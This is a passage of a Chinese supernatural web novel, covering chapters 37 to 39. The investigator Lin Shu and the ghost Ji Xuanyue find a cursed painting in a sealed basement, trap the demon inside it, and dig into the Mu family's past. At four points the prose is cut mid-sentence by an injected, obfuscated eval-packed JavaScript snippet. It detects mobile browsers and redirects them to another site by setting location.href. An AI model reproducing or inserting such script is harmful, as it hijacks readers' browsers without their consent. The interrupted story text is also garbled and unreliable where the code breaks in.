林疏跟工作人员打了个招呼，原地点燃了一张“溯灵”。 被烟火气掩盖在下面的罪恶浮现了出来。 林疏闭着眼睛，看见一群十七八岁的少年来到这里过生日。 蜡烛吹灭后，屋子里一片漆黑，一个男孩去拉窗帘，不慎让盖着白布的《玛丽亚夫人》见了阳光。 然后就是一场屠杀。 林疏蹙眉，这场血祸中有他熟悉的身影，钱志远、梁萍、温丽雅，都在其中，但最令他意外的是，周弥和顾临也在这里。 在玛丽亚夫人从画中走下来之后，顾临捡起一个中轴支柱是铁轴的画架腿，朝画室的门一下一下砸进去，而门很快就开了。 顾临把周弥推了出去，又把钱志远踹出去，到温丽雅的时候，温丽雅却拒绝了。 因为人不够了。 画室的门很快被锁上，顾临破门无果，便用手指蘸了血，在玻璃上写下了“周弥”二字。 钱志远哭着点头，然后拉着周弥逃了。 顾临就被玛丽亚夫人掐着脖子，拖进了画中。 这个画室里最后没有一个人活下来。 而画中的玛丽亚夫人吃饱之后，就恢复了原来的姿势，只是她再也没有出来过了。 原来，这才是真正的结局。 林疏看得心内郁结，他想起被岁月痕迹掩盖的血腥，不由得心绪更加复杂起来。 但当他慢慢睁开眼睛，还以为会看见面目全非的空房间， 眼前却是一张放大的俊美面孔，姬悬月有些担忧地凑近了他，正关切地看着他的脸。 见林疏睁眼，姬悬月忙后退半步，站直了，然后朝林疏露出个他熟悉的笑容：“怎么说？” 不待林疏回答，他已经扭头看窗外。片刻后，却心虚地垂下眼帘。 明明死魂是不会有肤色变化的，但林疏就是觉得，姬悬月脸红了。 心中感慨顿时全忘了个一干二净，林疏也有些尴尬，赶紧转移话题道：“没什么，就是……大家都死得很惨。” 溯灵没有了后续，证明那画中的红衣王后从那之后再未作祟，所以不能被“溯灵”捕捉。 看来还是得问钱家人，知不知道那幅画去哪了。 跟中心的人告别之后，林疏带着姬悬月又去了一次“红梅酒家”。 白天的“红梅酒家”也是生意兴隆，林疏好不容易才挤进店里去，找服务员出示了证件，要求见他们的老板。 半小时后，红梅酒家的老板姗姗来迟，却是一个浓眉大眼的青年，看起来不过三十。 “我们店都是按时缴税的！”青年有些紧张，不停擦汗。 林疏赶紧道：“您别慌，我不是税务局的，我是灵调局协助公安办案的，来问你一些事。” “您请说，我必知无不言！”青年马上用诚恳的眼神看他。 林疏：“……” 这神情模样，简直跟钱志远一个模子刻出来的。 林疏拿出笔录，轻咳一声，正色道：“请问你的姓名，年龄。” 青年道：“我叫钱鑫宇，三个金的鑫，宇宙的宇，今年29岁。” 林疏低头记录，并继续问道：“你家祖上的祖父、太爷、老太爷，有没有叫钱志远的？” 钱鑫宇愣了一下，没想到这位便衣问的话是老一辈的事情。 他当即掏出手机，诚恳道：“对不起警官，我不知道，我得问问我爸。” 林疏道：“你问。” 他说完，笑着与旁边的姬悬月对视一眼，姬悬月也觉得这人与钱志远颇像，眼中流露出一点点笑意。 片刻后，钱鑫宇放下手机开了免提，那头的中年男人道：“警官您好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883385|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我是他爸，我叫钱勇。我们家的确有个老祖宗叫钱志远，是我的曾祖父。” 林疏赶紧问道：“是这样，我们调查进行到古建筑保护中心的一幢洋房，白色的，中心工作人员说是你们钱家捐赠的，我想了解一下内情。” 中年男人钱勇一愣：“你是说……新华路的那个白色洋楼？那不是我曾祖父捐的，是我父亲捐的。” 林疏耐心道：“那请问，这个房子都经历过什么？里原本的东西都去哪儿了？” 钱勇道：“这个……让我想想。我曾祖父曾经把那房子提供给党的地下工作者，后来被抓了，房子也被76号收走了。到49年解放鹤城，我家才拿回了钥匙，还回去住过一阵子，不过后来因为那个原因，家里面原本的家具陈设属于四旧，就都烧了，房子也被我父亲捐给了国家。” 林疏道：“你知不知道一幅画？是个很大的油画，上面画着一个外国女人。” 钱勇道：“没见过，有也都烧了，那种东西怎么能留着呢？” 林疏傻眼了。 如果真的烧了，那画中的食人魔应该随烈焰一起灰飞烟灭了才对。 林聆怎么会让自己去查一个已经被烧死的魔呢？这是不可能的。 林疏对林聆并非盲目崇拜，他比任何人都清楚天狐的能力，如果林聆说有，那就一定有。 林疏于是又问道：“那么关于您的曾祖父钱志远，可否细说？” 钱勇道：“我曾祖父，我也不知道他哪年生的，但他是2015年逝世，活了一百多岁。他年轻的时候赶上了很多大事，民国、抗|战、解放，还有闻阁。” 林疏问道：“那个白色小洋楼，是他买的吗？什么时候买的？” 钱勇道：“是他买的，具体什么时候我不清楚，他活着的时候也没怎么提过。好像是因为曾祖母很喜欢那个楼。” “曾祖母叫什么？”林疏问道。 钱勇道：“我曾祖母姓周，名字我不知道。她是鹤城本地人，没病没灾活了七十多岁，在我儿子出生的前一年去世了。” 林疏马上看了姬悬月一眼，是周弥！ 看来钱志远的确依着顾临的交代，把周弥好好照顾起来了。 只是没想到他会娶周弥做妻子，也没想到他会把曾经的噩梦——那幢小洋楼给买下来。 钱勇还在絮絮叨叨：“她去之后，老爷子记性就不太好了，不认人，还总是念着我祖父的小名。但也没办法，我祖父去得早，他白发人送黑发人，是很伤心的。” 林疏问道：“你曾祖父就没有提过那白色小洋楼的其他事？” 钱勇否认。 线索断了。 林疏挠挠头，只得道了谢，然后把笔录收起来。 正要走，林疏突然想起了什么，回头问正要挂电话的钱鑫宇：“你爸的祖父叫什么？” 钱鑫宇：“啊？” 电话那头的钱勇好脾气道：“我祖父名字叫钱临，临时的临。” 林疏恍然。 钱志远临终前念的，可能是自己的长子，但更有可能是救过他性命的顾临。 37. 第 37 章 钱志远是那场喋血灾难中唯一清醒的幸存者，没人知道这接近百年的时间里，他到底有没有走出来。 在回灵调局的路上，林疏开始和姬悬月一起头脑风暴。 “钱勇说，钱志远是为了周弥才买下那幢洋房，你觉得他为什么会这样做？”林疏问道。 姬悬月道：“那可能要先想明白，周弥为什么会‘喜欢上那幢房子’。” 林疏道：“那房子对她来说意味着什么？” 姬悬月抬头看着林疏，林疏在骑车，并没有回头。 他道：“意味着，她哥哥在里面。” 林疏静了。 姬悬月道：“你觉得，周弥知道顾临死了吗？” 过了好久，林疏才道：“她看起来其实不太正常，我是说，思维方面。用现代的话来说，大概是自闭症。那天我们一起离开的时候，顾临一身的血，但周弥好像并没有感到恐惧。” 姬悬月道：“我没听过自闭症的说法，但大概明白你的意思……你是说她的智慧，并不足以明白什么叫恐惧。” 林疏点头道：“她可能对死亡没有概念。” 姬悬月道：“所以，她一直不知道，顾临已经死了。” 林疏道：“或许，在她的认知里顾临还活着，只是藏在那个洋房里，一直没有出来过。” 姬悬月道：“是的。” 林疏叹了一声。 何止钱志远没有走出来。 周弥也没有。 只是她认知不足，并不知道顾临已经死在里面，再也不会回来了。 林疏和姬悬月去的那条时间线里，顾临和顾浣恐怕都是外来者，那结局自然被美化过了。 只是，如果是这样的话，钱志远应该会很害怕那幅画。 那么买下那幢房子后，他最有可能怎样处理那幅画？ 烧掉？ 显然没有。否则林聆不会让他们去收食人魔。 藏起来？ 林疏托着下巴沉思片刻，果断道：“回洋房去看看。” 又一次来到古建筑保护中心，工作人员很有耐心，不厌其烦地又带着林疏去了一趟那幢白色洋房。 这次林疏把脸皮一甩——不要了，他像只狗一样匍匐在地上，开始努力闻这个房子的每一个边边角角。 很快，还真就给小狐狸找到了点什么。 在曾经作为展厅的回字形房间，原本放置旋转楼梯的一楼拐角处，林疏闻到了一丝不同于周围灰尘的，独特的味道。 腐朽的味道。 林疏趴在地上开始抠木地板。 保护中心的工作人员：“……” 破坏文物，应该阻止。 想阻止，但人家有搜查令…… 但很快她就不敢阻止了。 因为林疏从木板底下，发现了一个钉把手留下的螺钉孔洞。 林疏神色马上变得凝重，他从袖里乾坤取出螺纹改锥，拧进了洞中，然后试着往上提—— 随着吱呀一声，灰尘扑簌簌落下，露出一个漆黑的洞口！ 林疏在这老宅里，找到了一个地下室！ 保护中心的工作人员惊讶地捂住了嘴。 这房子被捐献后，没人知道这里有地下室，保护中心甚至用探测仪检查过全部的地板墙壁，没有发现任何暗格和夹层！ 这是怎么回事！ 林疏将改锥收回来塞进袖子，吁了口气，抬头对那工作人员道：“我要下去一趟，但可能会有危险，你是先去找你们中心的负责人报备这事，还是先跟我一起下去？” 责任心让这名工作人员迟疑着道：“里面如果有文物……那我得跟道长一起下去，那都是属于国家的。” 林疏笑了笑：“那是自然，请跟紧我。” 工作人员马上道：“我还是先给中心打个电话。” 于是这位名叫刘露的工作人员在打完电话后，跟在林疏身后，两人一起沿着台阶，下到了洋房的地下室。 下来前，林疏用清风决唤了一阵风来，将密封近百年的地下室中腐朽的空气稍微换了换。 他倒是不怕，但那个叫刘露的小姑娘只是个凡人。 姬悬月已经率先飘下去了，林疏接过刘露递过来的小手电，慢慢下了台阶，往前一照，就看见红衣的鬼新娘立在墙边，看起来吓人极了。 林疏还在心里笑着，这场面真像鬼片，刘露就尖叫了一声：“啊！！！” 林疏吓了一跳，赶紧道：“怎么了？” “有个……有个红衣服的女人在里头！”刘露捂着眼睛连连后退。 林疏：“……” 林疏赶紧扶着刘露上去了，心想为什么刘露会看见？ 地下室里明明没有很浓厚的阴气，刘露看起来也不像阳气弱的样子。 但姬悬月跟上来后，刘露却又看不见他了。 只有在地下室里能看见姬悬月……林疏蹙眉，偷偷取出一张符，贴在了凑过来的姬悬月身上， 这样可以保证，无论阴气重的人还是阳气弱的人，都看不见姬悬月。 可刘露已经无论如何也不敢下去了，她哆哆嗦嗦再次打了电话给中心负责人，负责人说十分钟后就会带着专业人士来考察。 林疏只能陪着刘露先留在地面上，他冲姬悬月使了个眼色，姬悬月便点点头，又沿着延长些许的缚灵索，先进地下室去查看。 片刻后，姬悬月飘了出来，对林疏道：“里面很黑，缚灵索的距离有限，我只能看到好像有木头的画框，但看不清尺寸，也看不见画了什么。” 林疏微不可察朝他点了点头，然后将手腕上的缚灵索又放了些距离，姬悬月便又下去了。 而很快，古建筑保护中心的人就带着三个文物学家来了。 他们都很激动，因为接收这幢小洋楼几十年来，他们都不知道这里有个地下室。 专家们查看了地下室入口的材质，啧啧称奇：“这层铅阻挡了探测器，难怪当年仪器没有发现这个地下室！” 最先进的空气检测仪器已经伸入地下室，在数据显示地下室内空气无毒后，专家们争先恐后跳了进去。 然后尖叫着跑出来了。 林疏赶紧过去问：“怎么了？” 一个年逾六十的白发文物学家惊疑不定道：“里面有个人呢！” 林疏：“？？？” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883386|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明贴过符了！ 林疏赶紧出示了灵调局证件，然后也跳了下去，这下他也惊了，差点一声卧槽说出来。 文物学家和专家们下去的时候带了考古探照灯，此时灯就放在地面上。 而灯头正对着的位置，果然有个红衣服的女人！ 却不是姬悬月，而是那幅油画。 鲜艳如初的《玛丽亚王后》。 画中的她更加逼真了，在朦胧的探照灯光里，像个真人一样。 刚才林疏没看见画，是因为被姬悬月挡住了。 林疏平复了一下心情，扯了扯缚灵索，姬悬月便从一旁的黑暗中走出来，轻声道：“我不知道他们能不能看见我，就躲起来了。” 林疏压低了声音：“不是你的问题，他们应该是被玛丽亚吓到了。” 一百年的时间弹指而过，玛丽亚王后翩翩飞舞的裙摆还是一片刺眼的血红。 画上甚至没有落灰。 王后那绝美而忧郁的侧脸，像绽放在寂寞墓穴里的娇嫩玫瑰。 林疏欣赏完，对姬悬月道：“我知道这画为什么没有再作祟了。” 姬悬月道：“为何？” 林疏道：“我们还是小瞧了顾临，这画上有一个结界，虽然快要溃散了，但起码坚持了快一百年。” 说着，他已经迅速取出一个锁灵瓶，对着油画念了一段解除封印的真言秘咒。 一股纯黑的魔气，就伴着咒语从画中飘了出来，被丝丝缕缕地吸入锁灵瓶中。 随着魔气被锁灵瓶吸收的过程，林疏和姬悬月仿佛又一次听到了无辜的少年少女们凄厉的尖叫。 也随着锁灵瓶的瓶口被封死，那些怨气、魔气，都凝聚在了透明的瓶中，无声冲撞着。 林疏盯着瓶子看了一会儿，低声道：“这里面没有顾临的怨气，说明当年，他在临死之前，就已经做好了打算，用自己的性命，封印住这个食人魔。” 姬悬月叹了口气。 食人魔的目标，有租界里适龄的女学生，有租界外浣衣的妇女。 顾临的母亲是洗衣妇女，顾临的妹妹曾经是女学生。 这个肩膀单弱的少年，不可能看着这样一个食人魔继续为祸世间。 他的道法是跟谁学的已不可考，林疏和姬悬月在另一条时间线里遇到的“顾临”恐怕也不是原本的顾临。 而真正的顾临，竭尽全力，也只能用自己的命，换食人魔玛丽亚被困在画中一百年。 而他最心爱的、用命保护的妹妹，则用一生执念着他们的最后一面。 执着地守着这幢洋房，只为了等待哥哥走出那扇门，叫她一声“阿弥”。 他们之间，曾经甚至只隔了一层薄薄的地板。 林疏没有继续感慨，他回头对上面喊了一嗓子：“是一幅画，你们快下来吧。” 文物学家们硬顶着恐惧，一步一步下到了地下室。 然后一怔：“真的是画？可是刚才看上去像真的一样，好像还会动。” 林疏打量一番《玛丽亚王后》，发现这画确实神采不复。 玛丽亚清澈忧郁的蓝色眼眸，此刻看上去简直像两颗无机质的玻璃球。 38. 第 38 章 大概是因为玛丽亚的“灵魂”已经被收走了吧。 林疏感叹了一句，然后被三个老文物学家挤到了一边。 文物检测的工作就交给文物局，林疏转身拉着姬悬月离开了地下室，然后跟各位工作人员依次告别。 门外的刘露还有些魂不守舍，林疏一脚跨出门去，她甚至都没发现林疏。 林疏就看着她满脸写着三个字：想辞职。 林疏顿时心生抱歉，这事还是怪他，知道地下室有怪事，还拉着这凡人一起去。 可是没办法，林疏是体制内的人，按照文物管理局和灵调局的规定，像这种可能存在文物的地方，他必须尊重文物局工作人员的意见。 唉…… 且让他来给这小姑娘治一治吧。 ……刘露脑海中回荡的始终是那个红衣的背影，真的太可怕了，而且那个鬼的裙摆居然会动…… 刘露脑海中已经浮现了无数鬼故事。 突然，她眼前一白，那一瞬间，她好像听到了浩浩渺渺的云雾声。 但云雾怎么会有声音？ 眼前景物再恢复正常时，刘露双眼恢复聚焦，露出分外疑惑的表情。 这房子……对，这房子有个地下室，等等，她为什么在外头？ 这种事情她当然要冲在第一个！ 刘露顾不上跟眼前的小天师打招呼，就一头扎进了洋房，扎进了她热爱的事业。 而林疏捻了捻手指尖，笑眯眯地转身离开，深藏功与名。 天狐的幻术，还是很实用的。 …… 灵调局中，林疏将锁灵瓶交给了灵协办，然后洋洋洒洒写了三千字的结案报告书，去交给了林聆。 林聆拿着报告书看了一遍，满意道：“任务完成得还算圆满。” 林疏眼睛发亮：“那这桩案子能攒多少功德？” 林聆推了推眼镜：“3点吧。” 林疏：“？” 林聆面无表情道：“那道封印至多还能坚持两年，到时候食人魔挣脱封印，食人命三条，然后就会被你师父一剑劈死。所以，你们抓一个食人魔，救了三个人，功德3点。有问题？” 林疏：“……” 林聆补充道：“还有，你们是平分，一人1.5。” 林疏有气无力道：“照这个速度……” 林聆点头：“没错，照这个速度，姬悬月还有几千年就可以赎清罪孽了。” 林疏：“……” 他只能庆幸来交报告书没带姬悬月，否则听了这话，姬悬月不当场暴走才怪。 想到这，他迅速坐上办公桌，凑近了大狐狸，压低声音问道：“就没有快点的办法吗？这样都不如让他去踩缝纫机！” 林聆微笑道：“独一只食人魔，当然只有3点，但如果你能成功解决整个九龙千年柱的问题，食人魔能结算到的功德可就不止四位数了。” 林疏眼睛一亮。 林聆盯着眼睛澄澈明亮的小狐狸崽儿，内心叹息。 他怎会看不出，这小孩儿的心已经外向了。 内心挣扎许久，林聆还是摘下眼镜，从一旁的抽屉里取出了一条散发着微弱血气的黑色丝带，递给了林疏。 林疏疑惑接过：“这是什么？” 林聆道：“我用缚灵索蘸了你的血——你什么眼神？对没错我半夜去割你喉了，不然呢？你是完全忘了你一身血在我那洞里养伤……总之我用你的血织了这条丝带，你可以当成是，带你私人遥控功能的缚灵索。” 林疏结结巴巴道：“这个……我……我拿着干什么？” 林聆狭长的狐狸眼中，是意味深长是眸光：“栓狗的方式，还用我教你？” 林疏的脸色一变再变，迟疑道：“他恐怕不会同意。” 林聆冷笑：“那是你的问题。” 林疏挣扎片刻，还是问道：“有使用说明吗？” 林聆道：“系在他脖子上——最好是脖子，不然我怕你召唤一只断手回来。” “随叫随到？”林疏心动了。 林聆点头。 林疏赶紧问道：“会有什么副作用吗？最远使用距离是多远？他自己……能取下来吗？” 林聆面无表情道：“谁都可以拿着系在他脖子上，但他自己不能取下。只要姬悬月系着它，多远你都能感应到。至于副作用——会抑制他的阴气，让他难以作恶，这算吗？” “这也太万能了！”林疏夸张地大叫，“师娘你简直就是我的哆啦A梦！” 林聆冷酷道：“真想感谢我就赶紧滚蛋，别吵我工作！” 林疏赶紧拿着丝带跑了。 但是跑着跑着他内心又犹豫起来，他知道姬悬月大概是不会愿意系上这个项圈的。 是的，不就是项圈吗？ 但知道归知道，林疏已经控制不住开始想象姬悬月把这条丝带系在脖子上的场景。 这丝带有些长，系上之后恐怕会垂落下来一部分。 林疏记得自己曾经看过一场秀，那个男模就在脖子上系了一条黑色的choker，绳结在后颈处，丝带就顺着光裸脊背垂下，一直垂到腰部。 不行，不能再想了……林疏下意识捂住鼻子，幸好没有鼻血喷出来。 但也只能想想了……林疏遗憾地将丝带藏进了袖子里。 这个事情得找机会说，缓缓地说。 回到办公室后，时间也差不多了。林疏便收拾了东西，准备拎着装姬悬月的玻璃水杯下班回家。 在民国待了那么久，林疏居然已经有些不习惯鹤城现在的现代化程度。 尤其是满大街喧闹的汽车声。 林疏顶着满头的汗，优哉游哉骑着自行车，穿行在晚高峰即将开始的大街上。 回到自己的小家后，林疏觉得恍若隔世。 他放出姬悬月，欢呼一声扑进了卫生间，开始大肆洗澡。 姬悬月默默爬出玻璃水杯，朝着磨砂玻璃门扫了一眼。 林疏脱得也太快了，磨砂玻璃后面朦胧的身影透过来，看得姬悬月慌忙低头。 他突然意识到一件事。 他们回到了现代，他和林疏，还是要共居一室、共睡一床。 那些煎熬与挣扎，仿佛都被他下意识留在了民国鹤城的晚上。 可是遗忘并不代表没发生过。 姬悬月知道自己应该再后退一步。 退到一个安全的距离。 退到一个能一直陪伴他的距离。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883387|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林疏洗完澡后感到十分清爽，他已经连续几天没有好好睡过觉，当即决定有什么事明天再说，喟叹一声就窜上了床。 小房间里的温度被释放阴气的姬悬月控制在了二十六度上下，林疏很快舒服地睡着了。 只是，深夜里他骤然醒来，发现身边摸不到熟悉的冰凉身体。 慢慢坐起来，林疏就着月光，在屋子里扫视了一圈。 他很快看见，姬悬月缩在沙发上，轮廓完美的侧脸，在漫反射的淡蓝月光中，像一尊漂亮而寂寞的雕塑。 他为什么不肯过来与自己一起睡？林疏在心中问自己。 是姬悬月终于懂了男男大防？ 是姬悬月终于肯尊重他的性向？ 还是姬悬月觉得他们之间有了些什么，想要避嫌了？ 林疏躺回床上，这下是一点困意也没有了。 他不想骗自己了。也许只有再这样沉寂的深夜里他才敢直面自己的内心。 他是喜欢姬悬月的。 不必扯什么朝夕相处、日久生情。他破罐破摔，他就是馋姬悬月的颜。 谁能整天对着那样的大美人都不心动呢？ 可是林疏不敢承认，他不能承认，所以只好将亡夫挂在嘴边。 虚无缥缈的亡夫，已经成了一个隔着云雾的远景，说穿了，也不过是他拿来自欺欺人的借口。 用来提醒自己，什么可为，什么不可为。 他生为天狐仙胎，未来清晰可见，只需要按部就班积攒功德，就能顺利位列仙班，享人间香火，护世间平安。 姬悬月的未来也是那样清晰，他只需赎清血孽，就能成功投胎。 林疏会帮他的，林疏一早就决定好了。 而且，投胎后，姬悬月就不会记得现在的一切了。 林疏知道，他们两个都应该后退一步，回到朋友的位置。 最好的借口，就是彼此都有爱人。 哪怕他俩的爱人都早就成了不知道哪里的一把骨头渣子。 什么食人魔……什么九龙千年柱，这些案子都可以慢慢查，功德也可以慢慢攒。 但走错了路，他和姬悬月，就都没有未来了。 天狐的身份听起来高贵，什么天生仙胎，占尽天时地利，实则非常脆弱。只要林疏一步踏错，就会沦落为妖。 而长留人间的血孽厉鬼，更是稍有不慎就会招来天罚。 林疏决定找个时间，把这件事跟姬悬月说清楚。 坦坦荡荡，方能长久。 林疏翻个身，将头埋进被子里。 第二天，林疏照常带姬悬月去灵调局，去处理积攒了三……不，四天的案件。 案子攒多了，外勤就多了。 林疏又忙活了一整天，非常效率地将所有“走近科学”都处理完了。 还忙里偷闲去找了一趟小纪，跟小纪交流了一番“穆家往事”。 “没带他？”小纪反复确认，频频探头。 林疏道：“封印在杯子里，放办公室了，你快说，都查到什么了？” 小纪从办公桌底下掏出一摞文件，放在林疏面前：“这是关于穆家的旧档案，其实和你我知道的都没什么不同了，但我在里头找到一个好东西。” 39. 第 39 章 他从一摞文件里抽出一张保存得非常好的“婚书”。 林疏接过细看，发现上面的确写了“穆绍棠”和“姬悬月”的名字，八字也都在上面，原来姬悬月是咸丰七年生人，也就是……1857年。 等……等等。 林疏傻眼了，婚书上面要写双方生辰八字、成婚日期，和双方父母的名字啊！ 但姬悬月的那半边，没有家慈家严姓甚名谁，只有一个哥哥，叫姬悬羽！ 小纪道：“还有一样东西。你让我查姓姬的大户人家，我没查到，但穆家娶老婆有个好习惯，他们会先查清楚女方的家族情况，所以——” 他递给林疏一份影印材料，超小声道：“你先看……慢慢看，千万别着急，这种事就像猜谜语，有一百种可能。” 林疏：“……” 看完后，林疏整个人都不好了。 小纪适时掏出另外的档案盒：“要不，你先出去醒醒脑子？” 林疏眼冒金星，低头一看，是蛊王们的档案。 虽然心中有一万句mmp，但林疏非常有职业素养，他还是先顾了工作。 根据小纪提供的档案，去拜访了住在鹤城的三位蛊王后代。 其中有两位住在灵调局所在的郊区，另一位在市中心。 但经过林疏的走访，他们家都很普通，都是货真价实的普通人—— 要看人有没有养金蚕蛊，就看他家里干不干净。 如果犄角旮旯都没有一点灰尘和蛛网，那就要当心了。 因为金蚕蛊是非常爱打扫卫生的蛊虫。 当然，这几位蛊王的后人，家里都很正常，有灰尘，有蛛网。 林疏知道他们都没有继承蛊术，一边唏嘘蛊无传承，一边又觉得扑朔迷离。 到底是谁对那六个人用了置换？ 一天跑完，林疏下班到家才有空看看手机，就发现穆迎秋已经回了他微信。 穆迎秋：“去哪儿出差了？我去了一趟鹑城谈生意，已经回来了。周末有空吗？请你喝咖啡。” 林疏对姬悬月招招手：“来看。” 姬悬月凑过来：“他还在跟你联系？” 林疏点点头：“在约我。” 姬悬月便看着林疏的侧脸：“你要去吗？” 林疏沉思片刻，回复穆迎秋道：“周末的事定不下来，到时候再说吧。” 然后林疏看向姬悬月，道：“先不拒绝他，因为我有别的目的，是关于烛台和穆家。我也正有件事要跟你说。” 姬悬月收了笑容，正色道：“是什么事？” 林疏热得一身汗，却没有先去洗澡。他拉着姬悬月在沙发上坐下，道：“我今天抽空去找了小纪，他告诉了我一些事。” 姬悬月道：“关于穆家？” 林疏道：“关于你。” 姬悬月马上正襟危坐。 林疏道：“你还记不记得，你母亲是什么人？” 姬悬月摇头。 林疏道：“那你知道你有个哥哥或者有个妹妹吗？” 姬悬月愣住了，又摇了摇头：“我不知道，我不记得，但我觉得没有。” 林疏回忆起小纪查到的旧档案，一时间，竟然不知道怎么来形容。 他挠了挠头发，道：“可能是这样的，你嫁到穆家，用的是你妹妹的名字。也有可能，你就是姬悬月，但你还有个哥哥。” 姬悬月缓缓道：“你是说，我有可能不叫姬悬月？那我叫什么？” 林疏头顶一团乱麻，他索性道：“这么说吧，我们找到了你和穆绍棠的婚书，根据穆家的记载，姬悬月有一兄一母，但母亲早逝，所以婚书上姬悬月的长辈填的是他哥哥……叫姬悬羽。” 姬悬月怔怔道：“我曾经以为我叫穆羽……难道，我其实是姬悬羽？” 林疏试探着道：“我也是这么想的，可能你才是这个兄长，你是替你妹妹姬悬月嫁的？” 姬悬月已经有些混乱了：“如果我是兄长，那我妹妹又去哪儿了？” 林疏道：“这个还没查到……” 姬悬月：“……” 林疏安慰道：“别急别急，都过去了。我提起这些事，是有另一个目的。那个被偷走的烛台——” 姬悬月颔首道：“杀我的凶器。” 林疏点头：“对，小纪查到博物馆有记档，捐献的时候，就是一对。档案一般是不允许有涂改的，但博物馆的入档记录上，本来写的是一对，又划掉，改成一只。” 姬悬月道：“捐完之后又反悔了，拿走过一只？” 林疏道：“我是这么猜的。” 说了半天话，林疏已经有些口渴，他起身去倒水，袖子一甩，他想起那根丝带。 端着杯水回到沙发前，他眼珠乱转，试探着问道：“说起来，你……对于被缚灵索拴着这件事……” “怎么？”姬悬月还有些心乱如麻，随口道，“栓手腕还不够么，难道你要栓脖子？” “……”林疏道，“当我没问。接着说烛台的事。” 他打开手机翻出通话记录，播放给姬悬月听。 是他和鹤城民俗博物馆老馆长的通话录音。 里面有两条重要讯息： 1，当年的烛台的确送来一对，但博物馆还没做好记档，穆家三爷就来要走了一只，于是博物馆改了记档。 2，数年后，穆迎秋要走剩余这只烛台的那天，曾经问过老馆长的助手，能不能拍走姬悬月的照片。而且确实拍走了。 林疏道：“我曾经以为，穆迎秋接近你一定有别的目的，但他要拍走姬悬月的照片，证明他根本不知道姬悬月是男是女，长什么样子。” 姬悬月回过味来了，顿时像吞了一只苍蝇一般：“你是说，他接近你是别有目的，接近我只是因为……” 林疏露出尴尬的表情：“是的，只是因为对你产生了……呃……浓厚的兴趣。” 姬悬月：“……” 林疏道：“所以，应该跟他虚与委蛇的人，其实并不是你，而是我。是不是很开心？” 姬悬月：“……” 并没有觉得开心，谢谢。 林疏道：“所以我没有拒绝他的邀约。” 姬悬月无奈道：“就不能用别的办法吗？” 林疏嘬了口水，道：“我现在怀疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883388|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那六个男人的死也跟穆迎秋有关。你觉得我还能用什么办法？万一打草惊蛇，他可能直接就跑了。” 姬悬月只好道：“行吧，随便你。反正他是个什么人，你我都清楚。” 林疏觉得讨论这种问题实在尴尬。 再一想到自己曾经计划过的“跟姬悬月说清楚”，就觉得更尴尬了。 姬悬月看着林疏欲言又止的模样，有些狐疑：“你又想说什么？好消息坏消息都可以说，我今天受到的打击够大了。” 名字不是自己的了，性别也不是自己的了。 曾经忍着厌烦去相处的人，原来并没有更深层的目的，对自己仅仅是“那种方面”的另有所图，姬悬月现在整个人都在重组。 林疏马上把那些话咽进肚子里：“没什么了，说完了，我去洗澡。” 小狐狸丢下手机，落荒而逃。 姬悬月看着林疏的背影，觉得很无奈。 他其实能稍微感觉到一点，林疏可能想说一些拒绝他的话。 但林疏没有说。 姬悬月倒并没觉得松了口气，他只觉得脖子上悬着的那把刀，离他更近了点。 …… 又挨过了剩余的工作日，林疏逐渐适应了重回现代的节奏。 置换的事林疏一己之力已经解决不了，他将案子递交给了灵协办，林聆看了一会儿，说他会查。 林疏松了口气，继续紧赶慢赶，终于在周末之前，把堆积的案子都处理得差不多了。 周六，林疏一口气睡到中午十一点。 这几天，姬悬月都没有上床来睡觉，都是蜷缩在沙发上。 林疏有心想说清楚，但一直拖拉着没说。 他矛盾极了，明明自己在处理工作的时候行动力超强，从不拖延。 为什么区区谈心，他总是说不出口？ 还有那条丝带……他也不知道怎么才能让姬悬月心甘情愿系上。 林疏就这样丧丧的，去赴约了。 穆迎秋约他去上次的那家咖啡厅喝咖啡。 仍是艳阳高照的一天，林疏从冷气充足的出租车里钻出来，连滚带爬钻进冷气充足的咖啡厅。 穆迎秋和以前的每一次一样早到了，他朝林疏招手示意，林疏便走过来，坐在他对面。 “就我一个，穆羽又闭关了。”他率先提起了这位“室友”。 